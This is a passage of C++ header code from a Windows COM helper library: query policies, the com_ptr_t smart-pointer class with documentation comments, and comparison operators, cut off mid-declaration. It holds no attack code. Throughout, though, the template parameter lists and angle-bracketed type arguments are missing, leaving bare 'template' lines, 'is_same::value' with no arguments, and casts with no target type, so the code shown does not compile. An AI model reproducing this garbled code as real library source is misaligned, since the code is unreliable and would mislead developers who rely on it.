it turns out that __is_convertible_to should NEVER\n // return true for ambiguous conversions. This was a bug in our compiler that has since been fixed.\n // Eventually, once that fix propagates we can move to a more efficient __is_convertible_to without\n // the added complexity.\n template \n struct is_com_convertible :\n wistd::bool_constant<__is_convertible_to(TFrom, TTo) && (__is_abstract(TFrom) || wistd::is_same::value)>\n {\n };\n\n typedef wistd::integral_constant tag_com_query;\n typedef wistd::integral_constant tag_try_com_query;\n typedef wistd::integral_constant tag_com_copy;\n typedef wistd::integral_constant tag_try_com_copy;\n\n class default_query_policy\n {\n public:\n template \n inline static HRESULT query(_In_ T* ptr, REFIID riid, _COM_Outptr_ void** result)\n {\n return ptr->QueryInterface(riid, result);\n }\n\n template \n inline static HRESULT query(_In_ T* ptr, _COM_Outptr_ TResult** result)\n {\n return query_dispatch(ptr, typename details::is_com_convertible::type(), result);\n }\n\n private:\n template \n inline static HRESULT query_dispatch(_In_ T* ptr, wistd::true_type, _COM_Outptr_ TResult** result) // convertible\n {\n *result = ptr;\n (*result)->AddRef();\n return S_OK;\n }\n\n template \n inline static HRESULT query_dispatch(_In_ T* ptr, wistd::false_type, _COM_Outptr_ TResult** result) // not convertible\n {\n auto hr = ptr->QueryInterface(IID_PPV_ARGS(result));\n __analysis_assume(SUCCEEDED(hr) || (*result == nullptr));\n return hr;\n }\n };\n\n template \n struct query_policy_helper\n {\n typedef default_query_policy type;\n };\n\n class weak_query_policy\n {\n public:\n inline static HRESULT query(_In_ IWeakReference* ptr, REFIID riid, _COM_Outptr_ void** result)\n {\n WI_ASSERT_MSG(riid != __uuidof(IWeakReference), \"Cannot resolve a weak reference to IWeakReference\");\n *result = nullptr;\n\n IInspectable* temp;\n HRESULT hr = ptr->Resolve(__uuidof(IInspectable), reinterpret_cast(&temp));\n if (SUCCEEDED(hr))\n {\n if (temp == nullptr)\n {\n return E_NOT_SET;\n }\n hr = temp->QueryInterface(riid, result);\n __analysis_assume(SUCCEEDED(hr) || (*result == nullptr));\n temp->Release();\n }\n\n return hr;\n }\n\n template \n inline static HRESULT query(_In_ IWeakReference* ptr, _COM_Outptr_ TResult** result)\n {\n static_assert(!wistd::is_same::value, \"Cannot resolve a weak reference to IWeakReference\");\n return query_dispatch(ptr, wistd::is_base_of(), result);\n }\n\n private:\n template \n static HRESULT query_dispatch(_In_ IWeakReference* ptr, wistd::true_type, _COM_Outptr_ TResult** result)\n {\n auto hr = ptr->Resolve(__uuidof(TResult), reinterpret_cast(result));\n if (SUCCEEDED(hr) && (*result == nullptr))\n {\n hr = E_NOT_SET;\n }\n __analysis_assume(SUCCEEDED(hr) || (*result == nullptr));\n return hr;\n }\n\n template \n static HRESULT query_dispatch(_In_ IWeakReference* ptr, wistd::false_type, _COM_Outptr_ TResult** result)\n {\n return query(ptr, IID_PPV_ARGS(result));\n }\n };\n\n template <>\n struct query_policy_helper\n {\n typedef weak_query_policy type;\n };\n\n#if (NTDDI_VERSION >= NTDDI_WINBLUE)\n class agile_query_policy\n {\n public:\n inline static HRESULT query(_In_ IAgileReference* ptr, REFIID riid, _COM_Outptr_ void** result)\n {\n WI_ASSERT_MSG(riid != __uuidof(IAgileReference), \"Cannot resolve a agile reference to IAgileReference\");\n auto hr = ptr->Resolve(riid, result);\n __analysis_assume(SUCCEEDED(hr) || (*result == nullptr)); // IAgileReference::Resolve not annotated correctly\n return hr;\n }\n\n template \n static HRESULT query(_In_ IAgileReference* ptr, _COM_Outptr_ TResult** result)\n {\n static_assert(!wistd::is_same::value, \"Cannot resolve a agile reference to IAgileReference\");\n return query(ptr, __uuidof(TResult), reinterpret_cast(result));\n }\n };\n\n template <>\n struct query_policy_helper\n {\n typedef agile_query_policy type;\n };\n#endif\n\n template \n using query_policy_t = typename query_policy_helper::type>::type;\n\n } // details\n /// @endcond\n\n //! Represents the base template type that implements com_ptr, com_weak_ref, and com_agile_ref.\n //! See @ref page_comptr for more background. See @ref page_query for more information on querying with WIL.\n //! @tparam T Represents the type being held by the com_ptr_t.\n //! For com_ptr, this will always be the interface being represented. For com_weak_ref, this will always be\n //! IWeakReference. For com_agile_ref, this will always be IAgileReference.\n //! @tparam err_policy Represents the error policy for the class (error codes, exceptions, or fail fast; see @ref page_errors)\n template \n class com_ptr_t\n {\n private:\n typedef typename wistd::add_lvalue_reference::type element_type_reference;\n typedef details::query_policy_t query_policy;\n public:\n //! The function return result (HRESULT or void) for the given err_policy (see @ref page_errors).\n typedef typename err_policy::result result;\n //! The template type `T` being held by the com_ptr_t.\n typedef T element_type;\n //! A pointer to the template type `T` being held by the com_ptr_t (what `get()` returns).\n typedef T* pointer;\n\n //! @name Constructors\n //! @{\n\n //! Default constructor (holds nullptr).\n com_ptr_t() WI_NOEXCEPT :\n m_ptr(nullptr)\n {\n }\n\n //! Implicit construction from nullptr_t (holds nullptr).\n com_ptr_t(wistd::nullptr_t) WI_NOEXCEPT :\n com_ptr_t()\n {\n }\n\n //! Implicit construction from a compatible raw interface pointer (AddRef's the parameter).\n com_ptr_t(pointer ptr) WI_NOEXCEPT :\n m_ptr(ptr)\n {\n if (m_ptr)\n {\n m_ptr->AddRef();\n }\n }\n\n //! Copy-construction from a like `com_ptr_t` (copies and AddRef's the parameter).\n com_ptr_t(const com_ptr_t& other) WI_NOEXCEPT :\n com_ptr_t(other.get())\n {\n }\n\n //! Copy-construction from a convertible `com_ptr_t` (copies and AddRef's the parameter).\n template >\n com_ptr_t(const com_ptr_t& other) WI_NOEXCEPT :\n com_ptr_t(static_cast(other.get()))\n {\n }\n\n //! Move construction from a like `com_ptr_t` (avoids AddRef/Release by moving from the parameter).\n com_ptr_t(com_ptr_t&& other) WI_NOEXCEPT :\n m_ptr(other.detach())\n {\n }\n\n //! Move construction from a compatible `com_ptr_t` (avoids AddRef/Release by moving from the parameter).\n template >\n com_ptr_t(com_ptr_t&& other) WI_NOEXCEPT :\n m_ptr(other.detach())\n {\n }\n //! @}\n\n //! Destructor (releases the pointer).\n ~com_ptr_t() WI_NOEXCEPT\n {\n if (m_ptr)\n {\n m_ptr->Release();\n }\n }\n\n //! @name Assignment operators\n //! @{\n\n //! Assign to nullptr (releases the current pointer, holds nullptr).\n com_ptr_t& operator=(wistd::nullptr_t) WI_NOEXCEPT\n {\n reset();\n return *this;\n }\n\n //! Assign a compatible raw interface pointer (releases current pointer, copies and AddRef's the parameter).\n com_ptr_t& operator=(pointer other) WI_NOEXCEPT\n {\n auto ptr = m_ptr;\n m_ptr = other;\n if (m_ptr)\n {\n m_ptr->AddRef();\n }\n if (ptr)\n {\n ptr->Release();\n }\n return *this;\n }\n\n //! Assign a like `com_ptr_t` (releases current pointer, copies and AddRef's the parameter).\n com_ptr_t& operator=(const com_ptr_t& other) WI_NOEXCEPT\n {\n return operator=(other.get());\n }\n\n //! Assign a convertible `com_ptr_t` (releases current pointer, copies and AddRef's the parameter).\n template >\n com_ptr_t& operator=(const com_ptr_t& other) WI_NOEXCEPT\n {\n return operator=(static_cast(other.get()));\n }\n\n //! Move assign from a like `com_ptr_t` (releases current pointer, avoids AddRef/Release by moving the parameter).\n com_ptr_t& operator=(com_ptr_t&& other) WI_NOEXCEPT\n {\n attach(other.detach());\n return *this;\n }\n\n //! Move assignment from a compatible `com_ptr_t` (releases current pointer, avoids AddRef/Release by moving from the parameter).\n template >\n com_ptr_t& operator=(com_ptr_t&& other) WI_NOEXCEPT\n {\n attach(other.detach());\n return *this;\n }\n //! @}\n\n //! @name Modifiers\n //! @{\n\n //! Swap pointers with an another named com_ptr_t object.\n template \n void swap(com_ptr_t& other) WI_NOEXCEPT\n {\n auto ptr = m_ptr;\n m_ptr = other.m_ptr;\n other.m_ptr = ptr;\n }\n\n //! Swap pointers with a rvalue reference to another com_ptr_t object.\n template \n void swap(com_ptr_t&& other) WI_NOEXCEPT\n {\n swap(other);\n }\n\n //! Releases the pointer and sets it to nullptr.\n void reset() WI_NOEXCEPT\n {\n auto ptr = m_ptr;\n m_ptr = nullptr;\n if (ptr)\n {\n ptr->Release();\n }\n }\n\n //! Releases the pointer and sets it to nullptr.\n void reset(wistd::nullptr_t) WI_NOEXCEPT\n {\n reset();\n }\n\n //! Takes ownership of a compatible raw interface pointer (releases pointer, copies but DOES NOT AddRef the parameter).\n void attach(pointer other) WI_NOEXCEPT\n {\n auto ptr = m_ptr;\n m_ptr = other;\n if (ptr)\n {\n ULONG ref;\n ref = ptr->Release();\n WI_ASSERT_MSG(((other != ptr) || (ref > 0)), \"Bug: Attaching the same already assigned, destructed pointer\");\n }\n }\n\n //! Relinquishes ownership and returns the internal interface pointer (DOES NOT release the detached pointer, sets class pointer to null).\n WI_NODISCARD pointer detach() WI_NOEXCEPT\n {\n auto temp = m_ptr;\n m_ptr = nullptr;\n return temp;\n }\n\n //! Returns the address of the internal pointer (releases ownership of the pointer BEFORE returning the address).\n //! The pointer is explicitly released to prevent accidental leaks of the pointer. Coding standards generally indicate that\n //! there is little valid `_Inout_` use of `IInterface**`, making this safe to do under typical use.\n //! @see addressof\n //! ~~~~\n //! STDAPI GetMuffin(IMuffin **muffin);\n //! wil::com_ptr myMuffin;\n //! THROW_IF_FAILED(GetMuffin(myMuffin.put()));\n //! ~~~~\n pointer* put() WI_NOEXCEPT\n {\n reset();\n return &m_ptr;\n }\n\n //! Returns the address of the internal pointer casted to void** (releases ownership of the pointer BEFORE returning the address).\n //! @see put\n void** put_void() WI_NOEXCEPT\n {\n return reinterpret_cast(put());\n }\n\n //! Returns the address of the internal pointer casted to IUnknown** (releases ownership of the pointer BEFORE returning the address).\n //! @see put\n ::IUnknown** put_unknown() WI_NOEXCEPT\n {\n return reinterpret_cast<::IUnknown**>(put());\n }\n\n //! Returns the address of the internal pointer (releases ownership of the pointer BEFORE returning the address).\n //! The pointer is explicitly released to prevent accidental leaks of the pointer. Coding standards generally indicate that\n //! there is little valid `_Inout_` use of `IInterface**`, making this safe to do under typical use. Since this behavior is not always immediately\n //! apparent, prefer to scope variables as close to use as possible (generally avoiding use of the same com_ptr variable in successive calls to\n //! receive an output interface).\n //! @see addressof\n pointer* operator&() WI_NOEXCEPT\n {\n return put();\n }\n\n //! Returns the address of the internal pointer (does not release the pointer; should not be used for `_Out_` parameters)\n pointer* addressof() WI_NOEXCEPT\n {\n return &m_ptr;\n }\n //! @}\n\n //! @name Inspection\n //! @{\n\n //! Returns the address of the const internal pointer (does not release the pointer)\n const pointer* addressof() const WI_NOEXCEPT\n {\n return &m_ptr;\n }\n\n //! Returns 'true' if the pointer is assigned (NOT nullptr)\n explicit operator bool() const WI_NOEXCEPT\n {\n return (m_ptr != nullptr);\n }\n\n //! Returns the pointer\n pointer get() const WI_NOEXCEPT\n {\n return m_ptr;\n }\n\n //! Allows direct calls against the pointer (AV on internal nullptr)\n pointer operator->() const WI_NOEXCEPT\n {\n return m_ptr;\n }\n\n //! Dereferences the pointer (AV on internal nullptr)\n element_type_reference operator*() const WI_NOEXCEPT\n {\n return *m_ptr;\n }\n //! @}\n\n //! @name Query helpers\n //! * Retrieves the requested interface\n //! * AV if the pointer is null\n //! * Produce an error if the requested interface is unsupported\n //!\n //! See @ref page_query for more information\n //! @{\n\n //! Query and return a smart pointer matching the interface specified by 'U': `auto foo = m_ptr.query();`.\n //! See @ref page_query for more information.\n //!\n //! This method is the primary method that should be used to query a com_ptr in exception-based or fail-fast based code.\n //! Error-code returning code should use @ref query_to so that the returned HRESULT can be examined. In the following\n //! examples, `m_ptr` is an exception-based or fail-fast based com_ptr, com_weak_ref, or com_agile_ref:\n //! ~~~~\n //! auto foo = ptr.query();\n //! foo->Method1();\n //! foo->Method2();\n //! ~~~~\n //! For simple single-method calls, this method allows removing the temporary that holds the com_ptr:\n //! ~~~~\n //! ptr.query()->Method1();\n //! ~~~~\n //! @tparam U Represents the interface being queried\n //! @return A `com_ptr_t` pointer to the given interface `U`. The pointer is guaranteed not null. The returned\n //! `com_ptr_t` type will be @ref com_ptr or @ref com_ptr_failfast (matching the error handling form of the\n //! pointer being queried (exception based or fail-fast).\n template \n inline com_ptr_t query() const\n {\n static_assert(wistd::is_same::value, \"query requires exceptions or fail fast; use try_query or query_to\");\n return com_ptr_t(m_ptr, details::tag_com_query());\n }\n\n //! Query for the interface of the given out parameter `U`: `ptr.query_to(&foo);`.\n //! See @ref page_query for more information.\n //!\n //! For fail-fast and exception-based behavior this routine should primarily be used to write to out parameters and @ref query should\n //! be used to perform most queries. For error-code based code, this routine is the primary method that should be used to query a com_ptr.\n //!\n //! Error-code based samples:\n //! ~~~~\n //! // class member being queried:\n //! wil::com_ptr_nothrow m_ptr;\n //!\n //! // simple query example:\n //! wil::com_ptr_nothrow foo;\n //! RETURN_IF_FAILED(m_ptr.query_to(&foo));\n //! foo->FooMethod1();\n //!\n //! // output parameter example:\n //! HRESULT GetFoo(_COM_Outptr_ IFoo** fooPtr)\n //! {\n //! RETURN_IF_FAILED(m_ptr.query_to(fooPtr));\n //! return S_OK;\n //! }\n //! ~~~~\n //! Exception or fail-fast samples:\n //! ~~~~\n //! // class member being queried\n //! wil::com_ptr m_ptr;\n //!\n //! void GetFoo(_COM_Outptr_ IFoo** fooPtr)\n //! {\n //! m_ptr.query_to(fooPtr);\n //! }\n //! ~~~~\n //! @tparam U Represents the interface being queried (type of the output parameter). This interface does not need to\n //! be specified directly. Rely upon template type deduction to pick up the type from the output parameter.\n //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure.\n //! @return For the nothrow (error code-based) classes (@ref com_ptr_nothrow, @ref com_weak_ref_nothrow, @ref com_agile_ref_nothrow) this\n //! method returns an `HRESULT` indicating whether the query was successful. Exception-based and fail-fast based classes\n //! do not return a value (void).\n template \n result query_to(_COM_Outptr_ U** ptrResult) const\n {\n // Prefast cannot see through the error policy + query_policy mapping and as a result fires 6388 and 28196 for this function.\n // Suppression is also not working. Wrapping this entire function in #pragma warning(disable: 6388 28196) does not stop all of the prefast errors\n // from being emitted.\n#if defined(_PREFAST_)\n *ptrResult = nullptr;\n return err_policy::HResult(E_NOINTERFACE);\n#else\n return err_policy::HResult(query_policy::query(m_ptr, ptrResult));\n#endif\n }\n\n //! Query for the requested interface using the iid, ppv pattern: `ptr.query_to(riid, ptr);`.\n //! See @ref page_query for more information.\n //!\n //! This method is built to implement an API boundary that exposes a returned pointer to a caller through the REFIID and void** pointer\n //! pattern (like QueryInterface). This pattern should not be used outside of that pattern (through IID_PPV_ARGS) as it is less efficient\n //! than the typed version of @ref query_to which can elide the QueryInterface in favor of AddRef when the types are convertible.\n //! ~~~~\n //! // class member being queried:\n //! wil::com_ptr_nothrow m_ptr;\n //!\n //! // output parameter example:\n //! HRESULT GetFoo(REFIID riid, _COM_Outptr_ void** ptrResult)\n //! {\n //! RETURN_IF_FAILED(m_ptr.query_to(riid, ptrResult));\n //! return S_OK;\n //! }\n //! ~~~~\n //! @param riid The interface to query for.\n //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure.\n //! @return For the nothrow (error code-based) classes (@ref com_ptr_nothrow, @ref com_weak_ref_nothrow, @ref com_agile_ref_nothrow) this\n //! method returns an `HRESULT` indicating whether the query was successful. Exception-based and fail-fast based classes\n //! do not return a value (void).\n result query_to(REFIID riid, _COM_Outptr_ void** ptrResult) const\n {\n // Prefast cannot see through the error policy + query_policy mapping and as a result and as a result fires 6388 and 28196 for this function.\n // Suppression is also not working. Wrapping this entire function in #pragma warning(disable: 6388 28196) does not stop the prefast errors\n // from being emitted.\n#if defined(_PREFAST_)\n *ptrResult = nullptr;\n return err_policy::HResult(E_NOINTERFACE);\n#else\n return err_policy::HResult(query_policy::query(m_ptr, riid, ptrResult));\n#endif\n }\n //! @}\n\n //! @name Try query helpers\n //! * Attempts to retrieves the requested interface\n //! * AV if the pointer is null\n //! * Produce null if the requested interface is unsupported\n //! * bool returns 'true' when query was successful\n //!\n //! See @ref page_query for more information.\n //! @{\n\n //! Attempt a query and return a smart pointer matching the interface specified by 'U': `auto foo = m_ptr.try_query();` (null result when interface is unsupported).\n //! See @ref page_query for more information.\n //!\n //! This method can be used to query a com_ptr for an interface when it's known that support for that interface is\n //! optional (failing the query should not produce an error). The caller must examine the returned pointer to see\n //! if it's null before using it:\n //! ~~~~\n //! auto foo = ptr.try_query();\n //! if (foo)\n //! {\n //! foo->Method1();\n //! foo->Method2();\n //! }\n //! ~~~~\n //! @tparam U Represents the interface being queried\n //! @return A `com_ptr_t` pointer to the given interface `U`. The returned pointer will be null if the interface is\n //! not supported. The returned `com_ptr_t` will have the same error handling policy (exceptions, failfast or error codes) as\n //! the pointer being queried.\n template \n inline com_ptr_t try_query() const\n {\n return com_ptr_t(m_ptr, details::tag_try_com_query());\n }\n\n //! Attempts to query for the interface matching the given output parameter; returns a bool indicating if the query was successful (non-null).\n //! See @ref page_query for more information.\n //!\n //! This method can be used to perform a query against a non-null interface when it's known that support for that interface is\n //! optional (failing the query should not produce an error). The caller must examine the returned bool before using the returned pointer.\n //! ~~~~\n //! wil::com_ptr_nothrow foo;\n //! if (ptr.try_query_to(&foo))\n //! {\n //! foo->Method1();\n //! foo->Method2();\n //! }\n //! ~~~~\n //! @param ptrResult The pointer to query for. The interface to query is deduced from the type of this out parameter; do not specify\n //! the type directly to the template.\n //! @return A `bool` indicating `true` of the query was successful (the returned parameter is non-null).\n template \n _Success_return_ bool try_query_to(_COM_Outptr_ U** ptrResult) const\n {\n return SUCCEEDED(query_policy::query(m_ptr, ptrResult));\n }\n\n //! Attempts a query for the requested interface using the iid, ppv pattern: `ptr.try_query_to(riid, ptr);`.\n //! See @ref page_query for more information.\n //!\n //! This method is built to implement an API boundary that exposes a returned pointer to a caller through the REFIID and void** pointer\n //! pattern (like QueryInterface). The key distinction is that this routine does not produce an error if the request isn't fulfilled, so\n //! it's appropriate for `_COM_Outptr_result_maybenull_` cases. This pattern should not be used outside of that pattern (through IID_PPV_ARGS) as\n //! it is less efficient than the typed version of @ref try_query_to which can elide the QueryInterface in favor of AddRef when the types are convertible.\n //! The caller must examine the returned bool before using the returned pointer.\n //! ~~~~\n //! // class member being queried:\n //! wil::com_ptr_nothrow m_ptr;\n //!\n //! // output parameter example (result may be null):\n //! HRESULT GetFoo(REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult)\n //! {\n //! m_ptr.try_query_to(riid, ptrResult);\n //! return S_OK;\n //! }\n //! ~~~~\n //! @param riid The interface to query for.\n //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure.\n //! @return A `bool` indicating `true` of the query was successful (the returned parameter is non-null).\n _Success_return_ bool try_query_to(REFIID riid, _COM_Outptr_ void** ptrResult) const\n {\n return SUCCEEDED(query_policy::query(m_ptr, riid, ptrResult));\n }\n //! @}\n\n //! @name Copy helpers\n //! * Retrieves the requested interface\n //! * Succeeds with null if the pointer is null\n //! * Produce an error if the requested interface is unsupported\n //!\n //! See @ref page_query for more information.\n //! @{\n\n //! Query and return a smart pointer matching the interface specified by 'U': `auto foo = m_ptr.copy();` (succeeds and returns a null ptr if the queried pointer is null).\n //! See @ref page_query for more information.\n //!\n //! This method is identical to @ref query with the exception that it can be used when the pointer is null. When used\n //! against a null pointer, the returned pointer will always be null and an error will not be produced. Like query it will\n //! produce an error for a non-null pointer that does not support the requested interface.\n //! @tparam U Represents the interface being queried\n //! @return A `com_ptr_t` pointer to the given interface `U`. The pointer will be null ONLY if the pointer being queried is null. The returned\n //! `com_ptr_t` type will be @ref com_ptr or @ref com_ptr_failfast (matching the error handling form of the\n //! pointer being queried (exception based or fail-fast).\n template \n inline com_ptr_t copy() const\n {\n static_assert(wistd::is_same::value, \"copy requires exceptions or fail fast; use the try_copy or copy_to method\");\n return com_ptr_t(m_ptr, details::tag_com_copy());\n }\n\n //! Query for the interface of the given out parameter `U`: `ptr.copy_to(&foo);` (succeeds and returns null ptr if the queried pointer is null).\n //! See @ref page_query for more information.\n //!\n //! This method is identical to @ref query_to with the exception that it can be used when the pointer is null. When used\n //! against a null pointer, the returned pointer will always be null and an error will not be produced. Like query_to it will\n //! produce an error for a non-null pointer that does not support the requested interface.\n //! @tparam U Represents the interface being queried (type of the output parameter). This interface does not need to\n //! be specified directly. Rely upon template type deduction to pick up the type from the output parameter.\n //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure OR assigned null\n //! when the source pointer is null.\n //! @return For the nothrow (error code-based) classes (@ref com_ptr_nothrow, @ref com_weak_ref_nothrow, @ref com_agile_ref_nothrow) this\n //! method returns an `HRESULT` indicating whether the query was successful. Copying a null value is considered success. Exception-based\n //! and fail-fast based classes do not return a value (void).\n template \n result copy_to(_COM_Outptr_result_maybenull_ U** ptrResult) const\n {\n if (m_ptr)\n {\n // Prefast cannot see through the error policy + query_policy mapping and as a result and as a result fires 6388 and 28196 for this function.\n // Suppression is also not working. Wrapping this entire function in #pragma warning(disable: 6388 28196) does not stop the prefast errors\n // from being emitted.\n#if defined(_PREFAST_)\n *ptrResult = nullptr;\n return err_policy::HResult(E_NOINTERFACE);\n#else\n return err_policy::HResult(query_policy::query(m_ptr, ptrResult));\n#endif\n }\n *ptrResult = nullptr;\n return err_policy::OK();\n }\n\n //! Query for the requested interface using the iid, ppv pattern: `ptr.copy_to(riid, ptr);`. (succeeds and returns null ptr if the queried pointer is null).\n //! See @ref page_query for more information.\n //!\n //! Identical to the corresponding @ref query_to method with the exception that it can be used when the pointer is null. When used\n //! against a null pointer, the returned pointer will always be null and an error will not be produced. Like query_to it will\n //! produce an error for a non-null pointer that does not support the requested interface.\n //! @param riid The interface to query for.\n //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure OR assigned null\n //! when the source pointer is null.\n //! @return For the nothrow (error code-based) classes (@ref com_ptr_nothrow, @ref com_weak_ref_nothrow, @ref com_agile_ref_nothrow) this\n //! method returns an `HRESULT` indicating whether the query was successful. Copying a null value is considered success. Exception-based\n //! and fail-fast based classes do not return a value (void).\n result copy_to(REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) const\n {\n if (m_ptr)\n {\n // Prefast cannot see through the error policy + query_policy mapping and as a result and as a result fires 6388 and 28196 for this function.\n // Suppression is also not working. Wrapping this entire function in #pragma warning(disable: 6388 28196) does not stop the prefast errors\n // from being emitted.\n#if defined(_PREFAST_)\n *ptrResult = nullptr;\n return err_policy::HResult(E_NOINTERFACE);\n#else\n return err_policy::HResult(query_policy::query(m_ptr, riid, ptrResult));\n#endif\n }\n *ptrResult = nullptr;\n return err_policy::OK();\n }\n //! @}\n\n //! @name Try copy helpers\n //! * Attempts to retrieves the requested interface\n //! * Successfully produces null if the queried pointer is already null\n //! * Produce null if the requested interface is unsupported\n //! * bool returns 'false' ONLY when the queried pointer is not null and the requested interface is unsupported\n //!\n //! See @ref page_query for more information.\n //! @{\n\n //! Attempt a query and return a smart pointer matching the interface specified by 'U': `auto foo = m_ptr.try_query();` (null result when interface is unsupported or queried pointer is null).\n //! See @ref page_query for more information.\n //!\n //! Identical to the corresponding @ref try_query method with the exception that it can be used when the pointer is null. When used\n //! against a null pointer, the returned pointer will always be null and an error will not be produced.\n //! @tparam U Represents the interface being queried\n //! @return A `com_ptr_t` pointer to the given interface `U`. The returned pointer will be null if the interface was\n //! not supported or the pointer being queried is null. The returned `com_ptr_t` will have the same error handling\n //! policy (exceptions, failfast or error codes) as the pointer being queried.\n template \n inline com_ptr_t try_copy() const\n {\n return com_ptr_t(m_ptr, details::tag_try_com_copy());\n }\n\n //! Attempts to query for the interface matching the given output parameter; returns a bool indicating if the query was successful (returns `false` if the pointer is null).\n //! See @ref page_query for more information.\n //!\n //! Identical to the corresponding @ref try_query_to method with the exception that it can be used when the pointer is null. When used\n //! against a null pointer, the returned pointer will be null and the return value will be `false`.\n //! @param ptrResult The pointer to query for. The interface to query is deduced from the type of this out parameter; do not specify\n //! the type directly to the template.\n //! @return A `bool` indicating `true` of the query was successful (the returned parameter is non-null).\n template \n _Success_return_ bool try_copy_to(_COM_Outptr_result_maybenull_ U** ptrResult) const\n {\n if (m_ptr)\n {\n return SUCCEEDED(query_policy::query(m_ptr, ptrResult));\n }\n *ptrResult = nullptr;\n return false;\n }\n\n //! Attempts a query for the requested interface using the iid, ppv pattern: `ptr.try_query_to(riid, ptr);` (returns `false` if the pointer is null)\n //! See @ref page_query for more information.\n //!\n //! Identical to the corresponding @ref try_query_to method with the exception that it can be used when the pointer is null. When used\n //! against a null pointer, the returned pointer will be null and the return value will be `false`.\n //! @param riid The interface to query for.\n //! @param ptrResult The output pointer that will receive the newly queried interface. This pointer will be assigned null on failure or\n //! if the source pointer being queried is null.\n //! @return A `bool` indicating `true` of the query was successful (the returned parameter is non-null). Querying a null\n //! pointer will return `false` with a null result.\n _Success_return_ bool try_copy_to(REFIID riid, _COM_Outptr_result_maybenull_ void** ptrResult) const\n {\n if (m_ptr)\n {\n return SUCCEEDED(query_policy::query(m_ptr, riid, ptrResult));\n }\n *ptrResult = nullptr;\n return false;\n }\n //! @}\n\n //! @name WRL compatibility\n //! @{\n\n //! Copy construct from a compatible WRL ComPtr.\n template >\n com_ptr_t(const Microsoft::WRL::ComPtr& other) WI_NOEXCEPT :\n com_ptr_t(static_cast(other.Get()))\n {\n }\n\n //! Move construct from a compatible WRL ComPtr.\n template >\n com_ptr_t(Microsoft::WRL::ComPtr&& other) WI_NOEXCEPT :\n m_ptr(other.Detach())\n {\n }\n\n //! Assign from a compatible WRL ComPtr.\n template >\n com_ptr_t& operator=(const Microsoft::WRL::ComPtr& other) WI_NOEXCEPT\n {\n return operator=(static_cast(other.Get()));\n }\n\n //! Move assign from a compatible WRL ComPtr.\n template >\n com_ptr_t& operator=(Microsoft::WRL::ComPtr&& other) WI_NOEXCEPT\n {\n attach(other.Detach());\n return *this;\n }\n\n //! Swap pointers with a WRL ComPtr to the same interface.\n void swap(Microsoft::WRL::ComPtr& other) WI_NOEXCEPT\n {\n auto ptr = m_ptr;\n m_ptr = other.Detach();\n other.Attach(ptr);\n }\n\n //! Swap pointers with a rvalue reference to a WRL ComPtr to the same interface.\n void swap(Microsoft::WRL::ComPtr&& other) WI_NOEXCEPT\n {\n swap(other);\n }\n //! @} // WRL compatibility\n\n public:\n // Internal Helpers\n /// @cond\n template \n inline com_ptr_t(_In_ U* ptr, details::tag_com_query)\n {\n err_policy::HResult(details::query_policy_t::query(ptr, &m_ptr));\n }\n\n template \n inline com_ptr_t(_In_ U* ptr, details::tag_try_com_query) WI_NOEXCEPT : m_ptr(nullptr)\n {\n details::query_policy_t::query(ptr, &m_ptr);\n }\n\n template \n inline com_ptr_t(_In_opt_ U* ptr, details::tag_com_copy)\n {\n if (ptr)\n {\n err_policy::HResult(details::query_policy_t::query(ptr, &m_ptr));\n return;\n }\n m_ptr = nullptr;\n }\n\n template \n inline com_ptr_t(_In_opt_ U* ptr, details::tag_try_com_copy) WI_NOEXCEPT : m_ptr(nullptr)\n {\n if (ptr)\n {\n details::query_policy_t::query(ptr, &m_ptr);\n }\n }\n /// @endcond\n\n private:\n pointer m_ptr;\n };\n\n // Error-policy driven forms of com_ptr\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! COM pointer, errors throw exceptions (see @ref com_ptr_t for details)\n template \n using com_ptr = com_ptr_t;\n#endif\n\n //! COM pointer, errors return error codes (see @ref com_ptr_t for details)\n template \n using com_ptr_nothrow = com_ptr_t;\n\n //! COM pointer, errors fail-fast (see @ref com_ptr_t for details)\n template \n using com_ptr_failfast = com_ptr_t;\n\n\n // Global operators / swap\n\n //! Swaps the given com pointers that have different error handling.\n //! Note that there are also corresponding versions to allow you to swap any wil com_ptr with a WRL ComPtr.\n template \n inline void swap(com_ptr_t& left, com_ptr_t& right) WI_NOEXCEPT\n {\n left.swap(right);\n }\n\n //! Swaps the given com pointers that have the same error handling.\n template \n inline void swap(com_ptr_t& left, com_ptr_t& right) WI_NOEXCEPT\n {\n left.swap(right);\n }\n\n //! Compare two com pointers.\n //! Compares the two raw com pointers for equivalence. Does NOT compare object identity with a QI for IUnknown.\n //!\n //! Note that documentation for all of the various comparators has not been generated to reduce global function\n //! clutter, but ALL standard comparison operators are supported between wil com_ptr objects, nullptr_t, and\n //! WRL ComPtr.\n template \n inline bool operator==(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left.get() == right.get());\n }\n\n // We don't document all of the global comparison operators (reduce clutter)\n /// @cond\n template \n inline bool operator<(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT\n {\n static_assert(__is_convertible_to(TLeft*, TRight*) || __is_convertible_to(TRight*, TLeft*), \"comparison operator requires left and right pointers to be compatible\");\n return (left.get() < right.get());\n }\n\n template \n inline bool operator==(const com_ptr_t& left, wistd::nullptr_t) WI_NOEXCEPT\n {\n return (left.get() == nullptr);\n }\n\n template \n inline bool operator!=(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(left == right)); }\n\n template \n inline bool operator>=(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(left < right)); }\n\n template \n inline bool operator>(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT\n { return (right < left); }\n\n template \n inline bool operator<=(const com_ptr_t& left, const com_ptr_t& right) WI_NOEXCEPT\n { return (!(right < left)); }\n\n template \n inline bool operator==(wistd::nullptr_t, const com_ptr_t& right) WI_NOEXCEPT\n {\n return (right.get() == nullptr);\n }\n\n template \n inline bool operator!=(const com_ptr_t& left, wistd::nullptr_t) WI_NOEXCEPT\n { return (!(left == nullptr)); }\n\n template \n inline bool operator!=(wistd::nullptr_t, const 